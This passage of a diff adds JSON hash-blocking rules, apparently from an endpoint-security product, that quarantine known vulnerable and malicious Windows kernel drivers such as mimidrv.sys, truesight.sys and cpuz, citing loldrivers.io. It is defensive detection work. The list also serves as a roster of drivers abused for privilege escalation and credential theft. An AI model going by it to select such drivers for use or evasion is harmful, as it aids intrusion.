+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477904Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32d6b047b0489421f7983da7d5d11f8deb2a56935d5ae0ae23cca1c0903ecad5",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72741d26-8907-5c09-8834-91f03916f3ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469776Z",
+  "creation_date": "2026-03-23T11:45:30.469780Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d73996901d2bfac9999a55723cb57ef5bde1e9a73070979df69f1f1fa8782c1",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "727463a2-1edc-504a-8bb8-e3d8be8f7c7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462519Z",
+  "creation_date": "2026-03-23T11:45:30.462522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be25688313f29d7e62c996572825c33f3dcdda373ec235efe552aeb2219990bb",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7276a919-f948-5c59-aa57-d17d1f6bf5fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473154Z",
+  "creation_date": "2026-03-23T11:45:30.473158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11a4b08e70ebc25a1d4c35ed0f8ef576c1424c52b580115b26149bd224ffc768",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "727a8477-2588-592b-91a5-cbe1586b1704",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610706Z",
+  "creation_date": "2026-03-23T11:45:29.610708Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a072197177aad26c31960694e38e2cae85afbab070929e67e331b99d3a418cf4",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "727c2643-8669-5189-85b0-29713dec87da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828185Z",
+  "creation_date": "2026-03-23T11:45:31.828187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42b1ed800666677389698c484d15b6ca791393636b27a5111c1e34b5de11b462",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "727c34d7-8c9f-5410-b3bc-ab2f53639a11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815880Z",
+  "creation_date": "2026-03-23T11:45:31.815882Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815888Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1e4afb828ebe4b942a8e6a25aee656978505014c66e75f8a337c564392ef666",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "728bfa36-9839-5e1d-b6fb-6623911c4548",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458137Z",
+  "creation_date": "2026-03-23T11:45:30.458140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458149Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a661e26cfe5d8dedf8c9644129039cfa40aebb448895187b96a8b7441d52aaa",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "729271a8-b91e-52aa-bf62-29b9d8258387",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498632Z",
+  "creation_date": "2026-03-23T11:45:31.498635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "412144f010eb05a990869c6ff36e7ddc1da7655a627dd61b3b524c19e46c7f12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "729ba945-2635-5f7c-85ac-361586b252a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982032Z",
+  "creation_date": "2026-03-23T11:45:29.982034Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982040Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2d209ed240027608003f8d32b621f8baaf5601aaf348e64269e4457a594c7c3",
+  "comment": "Vulnerable Kernel Driver (aka PCHunter.sys) [https://www.loldrivers.io/drivers/a261cd64-0d04-4bf5-ad73-f3bb96bf83cf/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72a35022-1f84-560d-b2c3-fb64df534ae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984338Z",
+  "creation_date": "2026-03-23T11:45:29.984340Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984345Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72aac524-22a4-5d1f-90ec-ab810689f95d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453695Z",
+  "creation_date": "2026-03-23T11:45:30.453699Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453707Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2cf5653792f32013c6bf8afb2217953708c7040e248ee7a48543e78097c4512",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72ad6b69-1af0-567f-bd00-94c10f8bf768",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463558Z",
+  "creation_date": "2026-03-23T11:45:30.463561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94c71954ac0b1fd9fa2bd5c506a16302100ba75d9f84f39ee9b333546c714601",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72afebbf-9154-5489-866e-948e51ca34cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611044Z",
+  "creation_date": "2026-03-23T11:45:29.611046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611052Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6045d564286f00fc1efedd25ffd22ecb7eaf2b3a6c778e392319380c77e45658",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72b8909f-768c-5a1a-a321-edbd592898d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145182Z",
+  "creation_date": "2026-03-23T11:45:31.145184Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145190Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bce6677edd89a2cb72b1c81629be195a6d53efda931d4de08cb3c3feda90cda8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72c1cca8-fb1d-5567-aac7-057b3b5797fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469427Z",
+  "creation_date": "2026-03-23T11:45:30.469430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469439Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c24d0fa3ec5fae870fb0a4e38943d396929d78165354bae56ae5730eb4d062e1",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72c90592-7188-5fc0-8727-bbcf438d87c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145488Z",
+  "creation_date": "2026-03-23T11:45:32.145491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "628c559f9f5de53cad74bc1f0c489bbe1aa5ef5672f47f73c0bfff1fcf98faca",
+  "comment": "Malicious Kernel Driver (aka driver_4fc254af.sys) [https://www.loldrivers.io/drivers/85335187-dae0-4f06-acea-209efaf74973/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72de97b8-155e-51fe-84c3-d493fb200f4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605430Z",
+  "creation_date": "2026-03-23T11:45:29.605432Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72e67650-995a-5488-b184-cad2a82ff6c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480227Z",
+  "creation_date": "2026-03-23T11:45:30.480229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae73dd357e5950face9c956570088f334d18464cd49f00c56420e3d6ff47e8dc",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72f131e6-fc37-5b83-9b2b-3cb5a3a479d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826710Z",
+  "creation_date": "2026-03-23T11:45:30.826712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826718Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7be4d4fe36fc8d9cb95f9b5a9cacc6387c1cb3e7f3e0774cd1713adbe25585fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72fb555d-f5dd-5a3c-8401-f19285b80606",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967856Z",
+  "creation_date": "2026-03-23T11:45:29.967859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff284e41b303db67aefcf22328b53712a80552741bdf2707cdc53c4a56db61aa",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72fd2e96-a93e-5e91-a732-63f1a02402ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489777Z",
+  "creation_date": "2026-03-23T11:45:31.489780Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489788Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1153d489159dbfc0f73b382b5fe7a65decb407c5bd660a1d75bacbb0bf480cf0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "730bbf03-ae27-5262-b332-9ec122cf6409",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821583Z",
+  "creation_date": "2026-03-23T11:45:31.821585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee3524f84250982770fe9c8b87a03e52559ae6bf0267977b23331c1cd944912f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
